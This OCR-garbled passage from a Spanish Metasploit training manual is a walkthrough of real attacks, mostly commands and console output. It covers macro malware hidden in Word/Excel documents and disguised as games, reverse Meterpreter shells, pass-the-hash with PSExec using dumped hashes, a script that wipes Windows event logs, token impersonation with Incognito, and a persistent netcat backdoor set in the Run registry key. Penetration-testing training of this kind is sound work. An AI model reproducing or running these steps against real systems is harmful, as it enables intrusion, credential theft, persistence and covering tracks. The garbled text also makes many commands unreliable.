o M [ ] = ) g =
Wiab Ve Yiee Buce liees S Gl sgw v Foosle | Eugnit yrvens | S in =4

GOUS[@

l b s

[ Googe Sencn | im Frsbimglisky |

Aulvpitiang P - Das e SoEony - Ahsil Gosis

[T L

b et =i -




Fijese en la parte inferior izquierda que la URLsltb sustituido por nuestro sitio web. Ahora letivha realiza una busqueda
normal en Google. Veamos que pasa:
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Tenga en cuenta que la advertencia de seguridad nos pide confiar en una aplicacion firmada por Microsoft Corporation. Despues
que el usuario acepta y ejecuta la aplicacion, se nos regresan algunas cosas:

[*] Exploit running as background job.

msf exploit(handler) >

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*¥] Starting the payload handler...

[*] Sending stage (718336 bytes)

[*] Meterpreter session 1 opened (10.211.55.130:444 4 ->10.211.55.140:1129)

msf exploit(handler) > sessions -i 1
[*¥] Starting interaction with 1...

meterpreter > execute -f cmd.exe -i
Process 2596 created.

Channel 1 created.

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>

Para ver el video en linea de este ataque, revigadina de vimeo de David Kennydy's aqui.

SET todavia esta en progreso y nuevos ataques lgsreados junto con la herramienta. SET utilizdtiples vectores de ataques
para hacer que su expericiencia en ingenierialssegaun poco mas facil.

8.7 Métodos infeccidon VBScript

Metodos infeccion VBScript

Metasploit tiene un par de metodos ya construidespyiedes utilizar para infectar documentos de &\orl
Excel con payloads de Metasploit. Ademas puedastusg@ropios payload personlizados. No es neaesari
gue sea un payload de Metasploit. Este metodaletkegpues de un ataque client-side y tambien psede
util si se tiene que evitar algun tipo de filtroequo permita archivos ejecutables y solo permisaipa
documentos.



Primero lo primero, vamos a crear nuestro VBSorigstablecer a Metasploit para la escucha

root@bt4:/pentest/exploits/framework3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=10.211.55.16 2 LPORT=8080
ENCODING=shikata_ga_nai X > payload.exe

Created by msfpayload ( http://www.metasploit.com ).

Payload: windows/meterpreter/reverse_tcp

Length: 280

Options: LHOST=10.211.55.162,LPORT=8080,ENCODING=sh ikata_ga_nai

root@bt4:/pentest/exploits/framework3# mv payload.e xe tools/

root@bt4:/pentest/exploits/framework3# cd tools/

root@bt4:/pentest/exploits/framework3/tools# ruby e xe2vba.rb payload.exe payload.vbs

[*] Converted 14510 bytes of EXE into a VBA script

root@bt4:/pentest/exploits/framework3/tools# cd..

root@bt4:/pentest/exploits/framework3# ./msfcli | g rep multi/handler

[*] Please wait while we load the module tree...

exploit/multi/handler Generic Payload Handler

root@bt4:/pentest/exploits/framework3# ./msfcli exp loit/multi/handler PAYLOAD=windows/meterpreter/reve rse_tcp
ENCODING=shikata_ga_nai LPORT=8080 LHOST=10.211.55. 162 E

[*] Please wait while we load the module tree...

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*] Starting the payload handler...

Para recapitular todo lo que hemos visto hastaaahemos creado nuestro payload usando el codifigaadimorfico
shikata_ga_nai, convertido en un ejecutable, candcise de nuevo a nosotros en el puerto 8080hms€10.211.55.162. Luego
convertimos el ejecutable a VBScript usando epstaxe2vba.rb" en la seccion de herramientas.uéaajue se ha completado,
tendra que obtener una maquina con Windows que téfayd instalado para realizar los siguientes pasos

En Word o Excel 2003, ve a Herramientas, MacrogpEde Visual Basic, si estas usando Word/Exc@l72@r a Ver Macros,
luego coloca un nombre como "moo" y seleccioneditre

Esto abrira el editor de visual basic. Pegue elli@s$o del archivo payload.vbs en el editor, gulargiaescriba cualquier cosa en
el documento en si. Esto es cuando se realizaaguatclient-side enviando por correo electronite dscumento de Word a
alquien.

A fin de mantener la sospecha del usuario bajte tfaintroducir el codigo en los muchos juegoS\ibed/Excel que estan
disponibles por internet. De esa manera, el usestifeliz jugando mientras que estas trabajand ®ndo. Esto le da mas
tiempo extra para migrar a otro proceso si estasdsMeterpreter como payload.

e ad

a1
Macro narne:
Imao
Organizer...
Macros in: | All active templates and documents W
Descripkion:
| Close




Aqui le damos un nombre generico al macro.

- Mormal - Mewhacros [Code)

iGEmeral -r| |'I|H'n|l|1mnh_l:lptn

Sub  Auta Open()
Dim LuS A3 Integer
Dim Luf A= Integer
Tim Lwd A3 String
Dim Lud A= Btring
Lud = MixcEQQdNLG.exe™
Lud = Eovicon (“"USERPROFILE™)
ChDrive {Lud)
chbir [Lud)
Lus = FresFile[)
Open Lul For Binary Mccess Read Write As Lug
Luizl
Luiiz
Luiza
Luii4
Luizs
Luiie
Lui27
Luii&
Put Lud, , Lul
Cloze LuG
LuS = Shell|{Lu3, vbHide)
End Sub
Sub AutoCpeni]
Aurco Opan
End Sub
Jub Workboolk Opend]
.ﬁ.u:n:c-_l_'lpeg
End Zub

Primero, prueba el documento abriendolo, y revisa donde tienes el multi/handler de Metasploit a la escucha:

root@bt4:/pentest/exploits/framework3# ./msfcli exp loit/multi/handler PAYLOAD=windows/meterpreter/reve rse_tcp ENCODING=shikata_ga_nai LPORT=8080
LHOST=10.211.55.162 E

[*] Please wait while we load the module tree...

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*] Starting the payload handler...

[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (205824 bytes)
[*] Meterpreter session 1 opened (10.211.55.162:808 0 ->10.211.55.134:1696)

meterpreter > execute -f cmd.exe -i
Process 2152 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\rel1k>

Exito! Tenemos el shell de Meterpreter directoistesna que abrio el documento, y lo mejor de tedlanti-virus no se da
cuental!!

Hay varios metodos para hacer esto, tambien puedes

root@bt4:./msfpayload windows/meterpreter/reverse_t cp LHOST=10.211.55.162 LPORT=8080 ENCODING=shikata_ ga_nai Y > payload.exe

Esto pasara la salida del payload a un script sigsue los pasos son los mismos mencionados afiha.que mencionar es que
los macros estan desabilitados por defecto tamtolpaversion home como coporate, asi que tengaesuadir para habilitar los
macros o tener la esperanza que lo hayan habiltadover el documento de forma correcta. Aquicesld tener un script
incrustado en un documento con un juego en Flashstado viene muy bien.

9 MSF Post Explotacién

MSF Post Explotacion




Después de haber trabajado tan duro con la firthtidaexplotar con éxito un sistema, bien, pero ggue que haremos ahora?
Vamos a conseguir un mayor acceso a los dispositiedas redes internas y cubriremos/borraremastnasehuellas/pistas a
medida que avanzamos en los sistemas "victima"pkotesters también podremos optar por utilizdfesaide paquetes para
otras posibles victimas, editaremos sus registics gbtener informaciéon o mejores accesos o barestos estos, e incluso
crearemos una puerta trasera (backdor) para margkeaeceso al sistema mas permanente y eficaatilizacion de estas
técnicas nos ayudara a mantenernos en un ciegbdewacceso y realmente puede conducir a footlyaddgrofundizar aun mas

en la infraestructura.

9.1 Metasploit como un Payload

Metasploit como un Payload

Mubix desdehttp://room362.conta lanzado un script en Ruby, que sirve paragatrgna copia de Metasploit a un sistema “ya
comprometido”, esto le permite esencialmente iasfgecutar/controlar Metasploit en la maquinaadeviictimas y continuar asi
la explotacion en ella. Esto seria muy beneficersanuchos casos, lo mas importante seria que&gaessta haciendo un test de
penetracion y ha obtenido acceso al Meterpretesd®alli se puede bajar/subir/instalar Metasptmt@ un Payload y continuar
asi con la explotacion de la red interna.

¢ Por qué es tan importante esto?

Primeramente por el sigilo, cuantas mas conexitar@gms saliendo de tu perimetro, mas posibilidetelas de ser atrapado.
Vale, pues este Payload le permite tener las conegidesde origen e ir en primer lugar a la maqeongrometida. Esto
también ayuda si pierde una conexion, tan sol@ tegre tener un equipo para devolver la llamadagdstiramos como hacerlo
mas adelante en el curso.

Bueno, primero lo primero, tienes que descargaserit y colocarlo en la carpeta “plugins”. Degfaa“deploymsf.rb” desde
aqui:http://www.offensive-security.com/msf/deploymsf.rb

A continuacién, tendras que descargarte tambigarkion de Cygwin del Metasploit Framework. Tiedes opciones,
Metasploit Framework entero o simplemente msfcandads pros y los contras son en gran tamafio Igedétds. 13mb si lo
haces con versién completa y solo 5mb con msfcendtdtasploit Cygwin (FULL)https://metasploit.com/framework-3.3-
dev.exemsfconsolehttps://metasploit.com/mini-3.3-dev.exe

Si utilizas la ruta por defecto del el script, gasrmover el “framework-3.3-dev.exe” a /tmp/ enwxro especificar la opcion “-d”
con el directorio completo de donde has puestosthiador Cygwin. Ademas, recuerda que el nomdrejeeutable es
“framework-3.3-dev.exe” Si estas utilizando el “ird3-dev.exe” asegurese de usar la opcion “-fSpexifique el nombre del
archivo.

root@bt4:/pentest/exploits/framework3/plugins# wget
http://www.room362.com/tools/deploymsf.rb

--2009-06-27 12:10:05-- http://www.room362.com/too Is/deploymsf.rb
Resolving www.room362.com... 66.197.106.2
Connecting to www.room362.com|66.197.106.2|:80... ¢ onnected.

HTTP request sent, awaiting response... 200 OK

Length: 4227 (4.1K) [text/plain]

Saving to: “deploymsf.rb’

100%[::::::::::::::::::::::::::::::::::::::>] 4,227 --.-K/s in 0.004s

2009-06-27 12:10:05 (1.07 MB/s) - “deploymsf.rb' sa ved [4227/4227]

Bueno, ya tenemos todo listo con el mini-3.3-dev.exe a la espera. Cuando tengamos la la consola Meterpreter,
tendremos también un montdn de comandos que ejecutar, asi que vamos a ello.

meterpreter > run deploymsf -f mini-3.3-dev.exe -d tmp/
[*] Running Meterpreter MSFp Deployment Script.....

[*] Uploading MSFp for for deployment....

[*] MSFp uploaded as C:DOCUME~1bt4LOCALS~1Temp19211 .exe
[*] Installing MSFp...........

[*] Donel!

[*] Installation Complete!

[*] Running cygwin shell channelized...




[*] Channel 19 created — Type: interact 19 to play

[*] Be warned, it takes a bit for post setup to hap pen
[*] and you will not see a prompt, try pwd to check

meterpreter > interact 19

Interacting with channel 19...

[*] Configuring multi-user permissions for first ru n...

[*] Configuring the initial user environment...

pwd

/home/bt4

Is

msfconsole

*** Metasploit only has EXPERIMENTAL support for Ru by 1.9.1 and newer, things may
break!

*** Please report bugs to msfdev[atjmetasploit.com

[_] *kk

[-] * WARNING: No database support: LoadError no su ch file to load — active_record
[_] *kk

=[ metasploit v3.3-rc1 [core:3.3 api:1.0]

+ — —=[ 379 exploits — 231 payloads
+ — —=[ 20 encoders — 7 nops

=[ 156 aux

msf >

Bueno ahora tenemos un Metasploit Framework totatiniastalado y listo para usarlo en la maquina de
nuestra victima y ademas puede penetrarse en.|lMeghifico!

9.2 PSExec Pass the Hash

PSExec Pass the Hash

Un modulo que no es muy conocido es la capacitajateitar PSEXEC en Metasploit. El médulo de PSEXE@ menudo
usado por Pentesters para obtener acceso a unaisiendo que este ya conoce sus credencialesigsiulo fue escrito por
Sysinternals y se ha integrado en el Framework peogesters solemos, 6 hemos ,logrado tener camgudeeso a un sistema a
través de algunos exploits, utilizando meterprpéea agarrar las contrasefias u otros métodos g@uump, pwdump, o
cachedump y utilizando el rainbowtables para crackes valores hash.

Tambien tenemos otras opciones, como por ejemar @ hash a través de herramientas como el iam.exgran método de
PSEXEC en Metasploit es que le permite introdactdntrasefia en si, solo con los valores. O sgaesimente basta con
especificar los valores del hash, no hay necesldartacks para obtener acceso al sistema. Ahorasvarpensar profundamente
acerca de como podemos utilizar este tipo de atagueecontinuar con la penetracion.

Decirte primero que comprometer un sistema que tigra contrasefia de administrado, no necesita coecRSEXEC porque
este nos permite utilizar solamente los valoreb hesa cuenta de administrador sera la misma enaueghta dentro de la
infraestructura del dominio. Ahora podemos pasaurdsistema a otro sin tener que preocuparte @ée tgre crackear nada. Una
nota muy importante sobre esto es que si NTLM eéta disponible (por ejemplo, su contrasefia e$ darhcteres o + a través
de GPO que especifican respuestas NTLM solameh#sta con sustituir el ***NOPASSWORD**** por 32'§) por ejemplo:



*rrkkk NOPASSWORD******+:8846f7eaee8fb117ad06bdd830b 7586¢

Would be replaced by:

00000000000000000000000000000000:8846f7eaee8fbl17ad 06bdd830b7586¢

[*] Meterpreter session 1 opened (192.168.57.139:44 3->192.168.57.131:1042)

meterpreter > use priv

Loading extension priv...success.

meterpreter > hashdump

Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d: 8846f7eaee8fbl117ad06bdd830b7586¢::
meterpreter >

Ahora que tenemos una consola Meterpreter y lds s@asimpeados , podemos conectarnos a las difsrente
victimas utilizando PSEXEC y los valores hash selate.

root@bt4:/pentest/exploits/framework3# ./msfconsole
I o

=[ metasploit v3.3-rc1 [core:3.3 api:1.0]
+ -- --=[ 412 exploits - 261 payloads
+ -- --=[ 21 encoders - 8 nops

=[ 191 aux

msf > search psexec
[*¥] Searching loaded modules for pattern 'psexec'..

Exploits
Name Description
windows/smb/psexec Microsoft Windows Aut henticated User Code Execution
windows/smb/smb_relay  Microsoft Windows SMB Relay Code Execution

msf > use windows/smb/psexec

msf exploit(psexec) > set payload windows/meterpret er/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf exploit(psexec) > set LHOST 192.168.57.133

LHOST =>192.168.57.133

msf exploit(psexec) > set LPORT 443

LPORT => 443

msf exploit(psexec) > set RHOST 192.168.57.131

RHOST =>192.168.57.131

msf exploit(psexec) > show options

Module options:

Name Current Setting Required Description

RHOST 192.168.57.131 yes The target a ddress

RPORT 445 yes Set the SMB service port

SMBPass no The password for the specified username
SMBUser Administrator yes The username to authenticate as

Payload options (windows/meterpreter/reverse_tcp):

Name  Current Setting Required Description

EXITFUNC thread yes Exit techni que: seh, thread, process
LHOST 192.168.57.133 yes The local a ddress
LPORT 443 yes The local p ort

Exploit target:




Id Name

0 Automatic

msf exploit(psexec) > set SMBPass e52cac67419a9a224
SMBPass => e52cac67419a9a224a3b108f3fa6cb6d:8846f7e
msf exploit(psexec) > exploit

[*¥] Connecting to the server...

[*¥] Started reverse handler

[*] Authenticating as user ‘Administrator'...

[*] Uploading payload...

[*¥] Created \KoVCxCjx.exe...

[*] Binding to 367abb81-9844-35f1-ad32-98f038001003
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2
[*¥] Obtaining a service manager handle...

[*] Creating a new service (XKgtKinn - "MSSeYtOQydn
[*] Closing service handle...

[*¥] Opening service...

[*¥] Starting the service...

[*] Removing the service...

[*] Closing service handle...

[*¥] Deleting \KoVCxCijx.exe...

[*] Sending stage (719360 bytes)

[*] Meterpreter session 1 opened (192.168.57.133:44

meterpreter > execute -f cmd.exe -i -c -H
Process 3680 created.

Channel 1 created.

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>

a3b108f3fa6ch6d:8846f7eaee8fb117ad06bdd830b7586¢
aee8fb117ad06bdd830b7586¢

:2.0@ncacn_np:192.168.57.131[\svcctl] ...
.0@ncacn_np:192.168.57.131[\svcctl] ...

RPWI")...

3->192.168.57.131:1045)

Eso es todo! Hemos logrado conectar en un equgepandiente con las mismas credenciales, sin ¢erer
preocuparnos de rainbowtables o de craquear laasaiita. Aprovecho para agradecer a "Chris Gates" po

la documentacién sobre este tema.

9.3 Administracion de registros

Administracion de registros

éSabes? A veces es mejor no tener sus actividades registradas. Cualquiera que sea el motivo, algun dia puedes encontrarte en
una situacién en la que necesitas eliminar los logs / registros de eventos de Windows. Echandole un vistazo a la fuente del script

winenum, ubicado en 'scripts / meterpreter', podemos ver el funcionamiento de esta funcion.

evtlogs = [
'security’,
'system’,
‘application’,
‘directory service',
'dns server',
'file replication service'

print_status("Clearing Event Logs, this will le

begin

evtlogs.each do |evl|
print_status("tClearing the #{evl} Event Lo
log = session.sys.eventlog.open(evl)
log.clear

end

print_status("Alll Event Logs have been cleared

rescue ::Exception => e
print_status("Error clearing Event Log: #{e

end
end

ave and event 517")

g")

")

.class} #{e}")




Veamos un escenario donde tenemos que limpiagistre de eventos de Windows, pero en lugar dewsacript prefabricado
para hacer el trabajo para nosotros, vamos aartiizpoder del intérprete de Ruby en Meterpredea fimpiar los registros sobre
la marcha. Vamos a Windows / 'System' / LogReg.

I. 8 Event Viewer E]@]E|

File Action Wiew Help

«s AR FRE @

| ] Event Viewer (Local) | System ﬁzﬁevent(“s}-

4] Application Type | Date | Time | Saurce | ca.. | Ev..i | User &
T i

Security €3Error B/14/2005 4:25:29PM  Service Control Manager Mone 7023 NJA

f:t’:fnrgt i . Qerror B/14/2009 4:25:25PM  Netlogon MNome 3095 NJA
*é)InFaran Bl14/2009 425,18 PM  aventlog More  S005 W&
"QInFarmmc-n B/14/2009 4:25:18PM  evertlog MNome 6009 NjA
lL:!;:'InI’u:nrmuatn:-l-l BI14/2009 412447 PM eventlog Mone G006 BfA

'.E;)InF-:rmahon 8142000 4:23:19PM  Service Control Manager Mone 7036 Nj&
='._!.)Infmrmatmn B/14/2002 4:23:18PM  Service Control Manager MNone 7036 N/&

(I Information B/14/2009 4:23:14PM  LGTO_Sync None 1 NJA
M\Warning  B/14/2000 4:22:48PM  vmdebug None 3 (7S
T T B i i o BN S TR, s i i PR g e
£ ' ' ' ' >

Ahora vamos a explotar el sistema y eliminar manualmente los registros. Haremos nuestra base de comandos fuera
del script winenum. ejecutando 'log = client.sys.eventlog.open('system')' se abrira el registro para nosotros.

msf exploit(warftpd_165_user) > exploit

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*] Connecting to FTP server 172.16.104.145:21...

[*] Connected to target FTP server.

[*] Trying target Windows 2000 SP0O-SP4 English...

[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)

[*] Sleeping before handling stage...

[*] Uploading DLL (75787 bytes)...

[*] Upload completed.

[*] Meterpreter session 2 opened (172.16.104.130:44 44 -> 172.16.104.145:1246)

meterpreter > irb

[*¥] Starting IRB shell

[*] The ‘client' variable holds the meterpreter cli ent
>> |og = client.sys.eventlog.open('system")

=> #<#:0xb6779424 @client=#>, #>, #

"windows/browser/facebook_extractiptc"=>#,
"windows/antivirus/trendmicro_serverprotect_earthag ent"=>#,
"windows/browser/ie_iscomponentinstalled"=>#,
"windows/exec/reverse_ord_tcp"=>#,

"windows/http/apache_chunked"=>#,
"windows/imap/novell_netmail_append"=>#

Ahora veremos si podemos limpiar el registro ejecutando 'log.clear’.



>> |og.clear
=> #<#:0xb6779424 @client=#>,

/trendmicro_serverprotect_earthagent"=>#,
"windows/browser/ie_iscomponentinstalled"=>#,
"windows/exec/reverse_ord_tcp"=>#,
"windows/http/apache_chunked"=>#,
"windows/imap/novell_netmail_append"=>#

¢Funciona?

#1 Event Viewer El E] El |

File  Ackion  Wiew Help

¢+ AEEFEE @

4] Event Yiewer (Local) SW::fsi:em o eveﬁi:(.s.]l
3% Application Tvpe | Date | Tirne SoLrce | Ca... | Event | User
4| Security
Syskerm There are no items to shiow in this wiew,

43| Internet Explorer

Hemos tenido éxito! Como ves ya no existen registros por aqui. Ahora podemos profundizar mas y crear nuestro
propio script para limpiar el registro de eventos...

# Clears Windows Event Logs

evtlogs = [
'security’,
'system’,
‘application’,
'directory service',
‘dns server',
'file replication service'

puts ("Clearing Event Logs, this will leave an even t517")
evtlogs.each do |evl|

puts ("tClearing the #{evl} Event Log")

log = client.sys.eventlog.open(evl)

log.clear
end

puts ("All Clear! You are a Ninja!")

Después de escribir este pequeiio script, lo guarsiam/pentest/exploits/framework3/scripts/metéepre
Entonces volveremos a explotar el sistema y assifanciona.

| msf exploit(warftpd_165_user) > exploit




[*] Handler binding to LHOST 0.0.0.0

[*¥] Started reverse handler

[*] Connecting to FTP server 172.16.104.145:21...

[*] Connected to target FTP server.

[*] Trying target Windows 2000 SP0O-SP4 English...

[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)

[*] Sleeping before handling stage...

[*] Uploading DLL (75787 bytes)...

[*] Upload completed.

[*] Meterpreter session 1 opened (172.16.104.130:44 44 -> 172.16.104.145:1253)

meterpreter > run clearlogs
Clearing Event Logs, this will leave an event 517
Clearing the security Event Log
Clearing the system Event Log
Clearing the application Event Log
Clearing the directory service Event Log
Clearing the dns server Event Log
Clearing the file replication service Event Log
All Clear! You are a Ninja!
meterpreter > exit

Wasaaaa.Y el unico evento que queda registradbsestema es el esperado 517.

Tvpe I Lrate I Tirne. I Source I Cakegary I Event I Lser I Computer !

cess audic  Si3f2000 0 4 Security Systern Event 517 SHSTEM TARGET

Este es el poder de Meterpreter. Sin mucho mas esfuerzo que no sea un cddigo de ejemplos que hemos tomado de
otro script, hemos creado una herramienta muy Gtil para ayudarnos a cubrir / borrar /esconder nuestras acciones.

9.4 Jugando con Incognito

Jugando con Incognito

Incognito es originalmente una aplicacion estandarnos permitira clonar tokens de usuarios cuaadmmprometa un
sistema con éxito. Esta aplicacion fue integrad&letasploit, y luego finalmente en Meterpreter.

Puedes leer mas acerca de Incognito y su modobode eamitar tokens a través del documento origiealike Jenning en el
siguiente enlace:

http://labs.mwrinfosecurity.com/publications/mwrecsirity-implications-of-windows-access-tokens_20@1814.pdf

En una shell, los tokens son igual que cookies Belirata de una clave/key temporal que le peruiteder al sistema y la red

sin tener que proporcionar credenciales cada vesg@cceda a un archivo. Incognito explota dadenenmanera el robo de
tokens que el de cookies. Bueno, vale, Hay dos tipkens, delegate, y impersonate.

Delegate: son creado para los inicios de sesidarantive / interactiva”, por ejemplo iniciandoi$esen la maquina, o
conectandose a ella a través de escritorio rentetmdte desktop. Impersonate: son para las sesiporsnteractive / no-
interactivas”, por ejemplo la colocacién de unadadide red, o un script de inicio de sesién de diomi

¢hay algo mas en las tokens? Ellas Persistenduastse reinicie. Cuando un usuario cierra la sesidtoken delegate es
reportada como una token imitada / clonada, penoydddavia mantendra la totalidad de los deredieasna ficha delegate.

*TIP*servidores de archivos virtual, una preciosiggesoro de tokens, ya que la mayoria de sengdigerchivos se utilizan
como unidades de red conectando a través de sgeipiscio de sesién en dominios.



Asi que, una vez tienes una consola Meterpretedgaiclonar tokens validas en el sistema y coneeein ese usuario especifico
sin tener que preocupare por sus credencialen, @sta ocasion, incluso los hashes. Durante urebarde penetracion esto es
especialmente util, debido al hecho de que lastasdienen la posibilidad de permitir una escalacié privilegio local o en un
dominio, lo que le da vias alternas con privilegitesrados a maltiples sistemas.

Bueno, primero vamos a cargar nuestro exploit feyoms08 067 _netapi, con un Payload Meterpreteng® en cuenta que
debe configurar manualmente la tarjeta, ya queesgt®it en particular no detecta la tarjeta autiicaéente. Si lo configuras a
una tarjeta conocida garantizara el derecho ddilasciones que se utilizan para la explotacion.

msf > use windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > set RHOST 10.211.55. 140

RHOST =>10.211.55.140

msf exploit(ms08_067_netapi) > set PAYLOAD windows/ meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(ms08_067_netapi) > set LHOST 10.211.55. 162

LHOST =>10.211.55.162

msf exploit(ms08_067_netapi) > set LANG english
LANG => english

msf exploit(ms08_067_netapi) > show targets

Exploit targets:

Automatic Targeting

Windows 2000 Universal

Windows XP SP0/SP1 Universal
Windows XP SP2 English (NX)
Windows XP SP3 English (NX)
Windows 2003 SPO Universal
Windows 2003 SP1 English (NO NX)
Windows 2003 SP1 English (NX)
Windows 2003 SP2 English (NO NX)
Windows 2003 SP2 English (NX)

10 Windows XP SP2 Arabic (NX)

11 Windows XP SP2 Chinese - Traditional / Taiwa n (NX)

O©CoOoO~NOOUR,WNEO

msf exploit(ms08_067_netapi) > set TARGET 8
target => 8
msf exploit(ms08_067_netapi) > exploit

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*¥] Triggering the vulnerability...

[*] Transmitting intermediate stager for over-sized stage...(191 bytes)

[*] Sending stage (2650 bytes)

[*] Sleeping before handling stage...

[*] Uploading DLL (75787 bytes)...

[*] Upload completed.

[*] Meterpreter session 1 opened (10.211.55.162:444 4 ->10.211.55.140:1028)

meterpreter >

Ahora tenemos una consola Meterpreter desde la cual vamos a lanzar Incognito y atacar las tokens. Como priv
(hashdump y timestomp) y stdapi (upload, download, etc), Incognito es un modulo Meterpreter. Vale, bien, ahora
cargamos el modulo en la sesion de Meterpreter ejecutando el comando “use incognito”. El comando “help” nos
muestra la variedad de opciones que tenemos para incognito y descipciones sobre cada opcion.



meterpreter > use incognito
Loading extension incognito...success.
meterpreter > help

Incognito Commands

Command Description

add_group_user Attempt to add a user to a global group with all tokens
add_localgroup_user Attempt to add a user to a local group with all tokens
add_user Attempt to add a user with all tokens
impersonate_token Impersonate specified toke n

list_tokens List tokens available unde r current user context
snarf_hashes Snarf challenge/response h ashes for every token

meterpreter >

Lo que tenemos que hacer primero es identifichagitokens validas en este sistema. Dependienduvidtide acceso que le
proporciona su exploit estaran limitadas a lasrislge son capaces de ver. Cuando se trata déaidedokens, el SISTEMA
es el REY. En el sistema tienes permiso para wigar cualquier token en la box.

*TIP*; Los administradores no tienen acceso a tdasisokens, pero tienen la capacidad de migrar lparprocesos del sistema,
representando asi al SISTEMA y siendo capaz dodes las tokens disponibles.

meterpreter > list_tokens -u

Delegation Tokens Available

NT AUTHORITY\LOCAL SERVICE

NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
SNEAKS.IN\Administrator

Impersonation Tokens Available

NT AUTHORITY\ANONYMOUS LOGON

meterpreter >

Vemos aqui que hay una token de Administrador &alige parece ser de interés. Ahora tenemos qumbageasar por esta
token a fin de conseguir sus privilegios. Al manglasomando “impersonate_token”, tienes que ten@uenta las dos barras
invertidas en “SNEAKS.INWAdministrator”. Esto esaesario debido a que causa errores con una soda banga en cuenta
también que, después de hacerse pasar con éxitmaaoken, deberass comprobar el USERID actudkmos hacerlo mediante
la ejecucion del comando “ getuid”.

meterpreter > impersonate_token SNEAKS.INWAdminist rator
[+] Delegation token available
[+] Successfully impersonated user SNEAKS.IN\Admini strator

meterpreter > getuid
Server username: SNEAKS.IN\Administrator

meterpreter >

Enseguida le permitira ejecutar una shell con@stata individual, en concreto ejecutando el cormand
“execute -f cmd.exe -i -t” desde dentro del Metetgr. El comando “execute -f cmd.exe” dice a Mdtasp
que ejecute cmd.exe, “-i” nos permite interactuar el pc de las victimas, y el “-t” asume el papet
acaba de suplantar a través de incognito.



meterpreter > execute -f cmd.exe -i -t
Process 3540 created.

Channel 1 created.

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>whoami
whoami
SNEAKS.IN\administrator

C:\WINDOWS\system32>

El resultado: Perfecto amigos.

9.5 Interactuando con el Registro

Interactuando con el Registro

El registro de Windows es un lugar realmente magloade con solo pulsar una tecla o hacer cligsaun
de veces podras hacer que un sistema quede iariiléz Por lo tanto deberéis de tener mucho cuidado
las acciones que hagais en estas proximas sesitatedo a que los errores pueden ser muy dologosos
dafiinos.

Meterpreter tiene algunas funciones muy utiles paesactuar con el registro. Echemos un vistalas a
opciones:

meterpreter > reg
Usage: reg [command] [options]

Interact with the target machine's registry.
OPTIONS:

-d The data to store in the registry value.

-h Help menu.

-k The registry key path (E.g. HKLM\Software\ Foo).
-t The registry value type (E.g. REG_SZ).

-v  The registry value name (E.g. Stuff).

COMMANDS:
enumkey Enumerate the supplied registry key [-k]
createkey Create the supplied registry key |- k]
deletekey Delete the supplied registry key [- k]

setval Set a registry value [-k -v -d ]
deleteval Delete the supplied registry value [ -k -v]
queryval Queries the data contents of a value [-k-v]

Aqui vemos que hay varias opciones que podemazautpara interactuar con el sistema remoto.

Tenemos las opciones de lectura, escritura, crelmynar entradas de Registros remoto. Estos puseieusados para cualquier
tipo de acciones, incluyendo la recopilacion derimacion remota. Usando el registro, puedes veaquiévos han sido
utilizados, los sitios que han sido visitados derimet Explorer, programas utilizados, los dispesit USB utilizados, etc.



Hay una lista muy interesante de referencia ragitiie estas grabaciones en el registro en
http://www.accessdata.com/media/en_US/print/paperfleqgistry _Quick_Find_Chart.en_us.@dfi como cualquier referencia
gue puedes encontrar en internet, que son muy @tilendo se busca algo en concreto.

9.5.1 Backdoor Netcat Persistente

Backdoor Netcat Persistente

Trabajaremos distinto en este ejemplo, en lugdoudear informacion en el sistema remoto, se instala backdoor con netcat
en el. Esto incluye cambios en el registro y elviiall.

En primer lugar, tenemos que entregar una copigetiat al sistema remoto:

meterpreter > upload /tmp/nc.exe C:\\windows\\syste m32
[*] uploading : /tmp/nc.exe -> C:\windows\system32
[*] uploaded : /tmp/nc.exe -> C:\windows\system32 nc.exe

Ahora modificaremos el registro para que ejecuteateuando se inicie la maquina y que espere seedgpuertas abiertas en el
puerto 455. Esto lo conseguimos modificando laisige clave en el registro:
HKLM\software\microsoft\windows\currentversion\run

meterpreter > reg enumkey -k HKLM\\software\\micros oftWwindows\\currentversion\\run
Enumerating: HKLM\software\microsoft\windows\curren tversion\run
Values (3):

VMware Tools
VMware User Process
quicktftpserver

meterpreter > reg setval -k HKLM\\software\\microso ft\\windows\\currentversion\\run -v
nc -d "C:\windows\system32\nc.exe -Ldp 455 -e cmd.e xe"

Successful set nc.

meterpreter > reg queryval -k HKLM\\software\\micro soft\\windows\\currentversion\\Run
-v nc

Key: HKLM\software\microsoft\windows\currentversion \Run

Name: nc

Type: REG_SZ

Data: C:\windows\system32\nc.exe -Ldp 455 -e cnal.ex

A continuacion, tenemos que modificar un poco el sistema y darle permisos al firewall para que acepte las conexiones remotas a
nuestro Backdoor Netcat en su puerto. Abriremos un interprete / consola / prompt y tecleamos el comando "netsh" para hacer
los cambios, ya que es un error, mucho menos propensos que modificar directamente el registro. Ademas, el proceso que se
muestra aqui debe funcionar en otras versiones de Windows también, debido a que las direcciones de registro y las funciones
son altamente dependientes.

meterpreter > execute -f cmd -i

Process 1604 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Jim\My Documents> netsh f irewall show opmode
Netsh firewall show opmode

Domain profile configuration:

Operational mode = Enable
Exception mode = Enable




